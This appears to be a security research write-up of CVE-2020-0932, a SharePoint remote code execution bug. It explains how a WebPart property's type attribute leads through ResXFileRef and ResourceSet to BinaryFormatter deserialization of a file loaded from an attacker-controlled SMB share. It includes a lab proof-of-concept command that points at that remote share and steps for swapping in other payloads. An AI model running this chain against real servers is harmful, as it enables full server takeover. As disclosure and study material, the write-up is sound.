CVE-2020-0932: Remote Code Execution on Microsoft SharePoint Using TypeConverters

The vulnerability exists because SharePoint does not restrict available Types for properties when it parses the XML configuration of WebParts. For a property, an attacker may specify a string and a type name, and SharePoint will attempt to convert the string using a TypeConverter corresponding to the specified type. Some TypeConverters present in the SharePoint libraries can be used for arbitrary code execution.

The entry point for this attack is the WebPartPages web service found at:

      http://<Site>/_vti_bin/WebPartPages.asmx

Within the implementation of this web service there are several methods that deal with parsing XML WebParts configuration, one of which is RenderWebPartForEdit. Note that RenderWebPartForEdit is exposed as a WebMethod, so that it can be invoked via an HTTP request:

The next method, webPartImporter.CreateWebPart(), is quite complicated, as it implements parsers for 2 different versions of XML configurations, namely WebPart/v2 (.dwp) files and WebPart/v3 (.webpart) files. Our focus is on the parser for .webpart files. Also, a large portion of the code in this method is dedicated to Type resolution and to validation of the WebPart itself. However, this is not relevant to this attack and is not detailed here.

Our XML payload will be passed along to ImportWebPartBase().

This means all property elements will be processed by ImportWebPartFile.AddToProperyArrayLists():

At this point, we control two crucial strings: text and xmlAttributeValue2. text comes from the textual contents of the property element, while xmlAttributeValue2 comes from the element’s type attribute. The code shown above chooses a .NET Type on the basis of xmlAttributeValue2, and then uses the TypeConverter of that Type to convert text into a .NET object instance (propValue).

We must now investigate what types are available.

Since there is no restriction, we can use any Type we want.

Choosing a TypeConverter for RCE

To gain arbitrary code execution, we will use the type System.Resources.ResXFileRef and its TypeConverter, System.Resources.ResXFileRef.Converter:

This shows that System.Resources.ResXFileRef.Converter will take the string we specify (value) and parse out two pieces of data. The first, shown here as array[0], will be interpreted as a path to a .resources resource file. The second, array[1], will be interpreted as the name of an arbitrary .NET Type. The code shown above will instantiate the specified Type, passing a single argument to the constructor. That argument will be a stream containing the contents of the .resources file we specify. Since we are able to specify a remote path to an attacker-controlled SMB server, we have complete control over the stream contents.

Choosing a Type We Can Instantiate With a Stream Argument

The final challenge is to identify an available .NET type that has a constructor with a single argument of type Stream, and that can be used for arbitrary code execution. One possible solution is System.Resources.ResourceSet:

Here, we are only interested in two lines: the first and the last. The first line calls the constructor of System.Resources.ResourceReader:

This is very promising, since it is taking the contents of the Stream and feeding it to a BinaryFormatter. This could easily lead to arbitrary object deserialization.

Looking back at the last line of the System.Resources.ResourceSet constructor, and following the path of code execution down several levels of calls:

This shows that the server will deserialize untrusted data, which allows us to execute arbitrary code.

Generating a .resources File

To conduct this attack, we need a compiled .resources resource file containing our payload. We can use Visual Studio to create the needed .resources file. At compile time, Visual Studio uses the Resource File Generator (Resgen.exe) to convert a .resx file to a binary resource (.resources) file. To inject our payload, we can edit the .resx file and replace the existing data node with the following:

Now we can save the *.resx file and compile the current project. Visual Studio will place the compiled *.resources file in the /obj folder.

Proof of Concept

To demonstrate this exploit, we will use Microsoft SharePoint Server 2019 installed with all default options on a Windows Server 2019 Datacenter server. We have set the computer name as sp2019.contoso.lab and made it a member of the contoso.lab domain. The domain controller is on a separate virtual machine. We added a couple of users, including user2 as a regular unprivileged user.

For the attacker system, we’ll need any supported web browser. In the following screenshots, we are using Mozilla Firefox 69.0.3. We’ll also be using our custom SP_soap_RCE_PoC.exe application to send the attack. You can download all the necessary files to try this yourself here. For different BinaryFormatter payloads, you will need YSoSerial.Net. For this demonstration, the hardcoded payload in our PoC will suffice.

The next step is to set up a remote SMB server controlled by the attacker. This can be any machine that can receive traffic from the target SharePoint server. On this server, you will need to configure a shared folder that requires no authentication. This can be a bit tricky, but the steps to do this are detailed here. For our demonstration, we’re using Windows Server 2016 Standard with an IP address of 192.168.50.210. In addition to the steps already listed to share a folder, we added Everyone, Guest, and ANONYMOUS LOGON in the Security tab of the shared folder.

Astute readers might wonder why the SharePoint server consents to accessing an anonymous SMB share. For security reasons, the Windows SMB client normally does not permit such an operation. This is a mitigation introduced starting with version 1709 of Windows 10 and Windows Server 2016. The answer is that, for some reason, the SharePoint installer turns this mitigation off via a registry entry. In the registry key HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters, it sets the value AllowInsecureGuestAuth to 1.

With the folder created and configured, we can place the payload for BinaryFormatter in that location and proceed with the attack. For this demonstration, we’ve named it SP_soap_RCE_PoC.RCE_Resource.resources.

Let’s begin by visiting our SharePoint Server and authenticating as a regular user. In this case it is user2:

For this demonstration, we choose Team Site, but it does not matter. Now we need to pick a name for the new site. In this case, we use siteofuser2.

Also, we will need the BaseURL of the new site. We can see it on the form shown below, above the green “Available” label. In this example, it is http://sp2019/sites/siteofuser2:

Now let’s go to the target SharePoint server and open the C:\windows\temp folder.

We note there is no Vuln_Server.txt file yet. If successful, our PoC will create this file. Next, we confirm our SP_soap_RCE_PoC.RCE_Resource.resources file exists on the attacker-controlled SMB server:

Now let’s go back to the “attacker” machine. We will use our custom SP_soap_RCE_PoC.exe executable for the attack. We need to provide the following information as arguments:

        -- BaseUrl of the target SharePoint Site. In this demonstration, it is http://sp2019/sites/siteofuser2/
        -- UserName – In our case, this is user2
        -- Password
        -- Domain
        -- Remote Path to our payload file.
The command ends up looking like this:

SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources

SharePoint does report an error that an unsafe type was specified, but the attack is successful anyway. We can check the Temp folder on the target server:

This shows how an attacker is able to execute arbitrary OS commands and compromise the entire server. To execute other commands, you would need to generate your own *.resource file. This can be done by opening the RCE_Resource.resx file in any text editor and replacing the base64 BinaryFormatter payload with the desired one:

You can then save the file, open the project in Visual Studio and rebuild it. The SP_soap_RCE_PoC.RCE_Resource.resources file with the new payload will be in the \SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\ folder.